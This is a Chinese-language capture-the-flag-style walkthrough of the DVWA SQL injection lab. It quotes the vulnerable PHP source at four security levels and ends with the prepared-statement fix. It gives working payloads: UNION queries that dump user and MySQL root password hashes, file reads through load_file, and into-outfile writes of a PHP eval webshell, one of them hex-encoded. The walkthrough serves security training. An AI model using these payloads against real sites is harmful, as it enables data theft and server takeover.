DVWA SQL Injection 通關教程


SQL Injection,即SQL注入,SQLi,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害巨大,常常會導致整個數據庫被“脫褲”,如今SQL注入仍是現在最常見的Web漏洞之一。

SQL 注入分類:

SQLMap中的分類來看,SQL注入類型有以下5種:

UNION query SQL injection(可聯合查詢注入)
Stacked queries SQL injection(可多語句查詢注入)
Boolean-based blind SQL injection(布爾型注入)
Error-based SQL injection(報錯型注入)
Time-based blind SQL injection(基於時間延遲注入)

SQL 注入常規利用思路:

1、尋找注入點,可以通過 web 掃描工具實現

2、通過注入點,嘗試獲得關於連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統信息、數據庫版本等相關信息。

3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)

4、可以通過獲得的用戶信息,尋找后台登錄。

5、利用后台或了解的進一步信息,上傳 webshell 或向數據庫寫入一句話木馬,以進一步提權,直到拿到服務器權限。

 

手工注入常規思路:

1.判斷是否存在注入,注入是字符型還是數字型

2.猜解 SQL 查詢語句中的字段數

3.確定顯示的字段順序

4.獲取當前數據庫

5.獲取數據庫中的表

6.獲取表中的字段名

7.查詢到賬戶的數據

 

下面對四種級別的代碼進行分析。

 

 

Low Security Level:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?> 

由代碼可知,通過REQUEST方式接受傳遞的參數id,再通過sql語句帶入查詢,並未設置任何過濾,因此可以進行sql注入利用。

Exploit

常見注入測試的POC

poc

判斷注入:

1   頁面正常

1'  頁面返回錯誤:報錯“...use near ''1''' at line 1...1' or '1'='2 頁面返回為空,查詢失敗

1' or '1'='1 頁面正常,並返回更多信息,成功查詢

判斷存在的是字符型注入。

猜字段:

1' order by 2#

得到字段數為2

確定回顯點:

1' union select 1,2# 

echo

猜數據庫:

1' union select 1,database()#

payload利用另一種方式:

1' union select user(),database()--+
得到數據庫名:dvwa

PSunion查詢結合了兩個select查詢結果,根據上面的order by語句我們知道查詢包含兩列,為了能夠現實兩列查詢結果,我們需要用union查詢結合我們構造的另外一個select.注意在使用union查詢的時候需要和主查詢的列數相同。

猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
得到表名:guestbook,users

猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用編碼就不用單引號,用單引號就不用編碼)

得到列:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

猜用戶數據:

列舉出幾種payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #  
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #  

得到用戶數據:

admin 5f4dcc3b5aa765d61d8327deb882cf99

猜 root 用戶:

1' union select 1,group_concat(user,password) from mysql.user#
得到root用戶信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

讀文件和寫入拿shell

使用mysql的讀寫功能需要具有一定的權限。

secure_file_priv參數用來限制load_file,into outfile等相關讀寫執行函數作用於哪個指定目錄。

當 secure_file_priv 的值為 null ,表示限制 mysqld 不允許導入|導出
當 secure_file_priv 的值為/tmp/ ,表示限制 mysqld 的導入|導出只能發生在/tmp/目錄下
當 secure_file_priv 的值為/,表示限制 mysqld 的導入|導出的目錄為所在的整個磁盤
當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制

通過命令查看secure-file-priv的當前值:

show global variables like '%secure%';
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.00 sec)

由於我使用的是PHPStudy搭建的環境,MySQL沒有設置過secure_file_priv時,默認為NULL

修改secure_file_priv為指定的目錄:

Windows下的配置文件:../MySQL/my.ini

Linux下的配置文件:/etc/mysql/my.cnf(不同linux下的my.cnf位置路徑不同,此處不一一列舉)

[mysqld]內加入:

secure_file_priv = 

注意這里為空,表示可以導入導出到任意目錄

重啟mysql服務,接下來開始在DVWA中利用SQL注入進行導入導出的操作:

load_file()函數讀取任意文件:

1' union select 1,load_file('E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\dvwa\\index.php')#

利用into outfile()函數寫入一句話拿webshell

不知道路徑的情況下,先通過報錯得出網站的絕對路徑:

1' union select 'xx',2 into outfile 'xx'#

error

得到路徑:

E:\web\phpStudy2017\PHPTutorial\WWW\dvwa\vulnerabilities\sqli\source\low.php

我們直接into outfile一句話到根目錄:

1' union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
由於單引號會引起閉合而導致查詢失敗,注意一句話中的cmd不能是單引號

123

或者整句使用雙引號:

1' union select 1,"<?php @eval($_POST['cmd']);?>" into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#

或者采用編碼方式,如十六進制編碼的方式:

1' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
最后,導入一句話成功。

webshell

菜刀連接之即可。

 

 

Medium Security Level:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

使用了mysqli_real_escape_string函數對特殊字符進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。

Exploit

判斷是否存在注入,注入是字符型還是數字型?

抓包更改參數id1' or 1=1 #,報錯,

sql

抓包更改參數id1 or 1=1 #,查詢成功,

說明存在數字型注入。

(由於是數字型注入,服務器端的mysql_real_escape_string函數就形同虛設了,因為數字型注入並不需要借助引號。)

猜表名:

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
得到表名:guestbook,users

猜列名:

考慮到單引號被轉義,可以利用 16 進制進行繞過,抓包更改參數id

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用戶數據

抓包修改參數id

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
得到用戶數據:
admin 5f4dcc3b5aa765d61d8327deb882cf99

 

 

 

High Secuirty Level:
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
?> 

 

可以看到,與Low Secuity Level的代碼相比,Medium Secuity Level的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果。雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。

Exploit

由於手工注入的過程與Low級別基本一樣,直接最后一步演示下載數據。輸入:

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

 

 

 

Impossible Security Level:
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();
?> 

 

可以看到,Impossible Secuity Level的代碼采用了PDO技術,划清了代碼與數據的界限,有效防御SQL注入,同時只有返回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了”脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM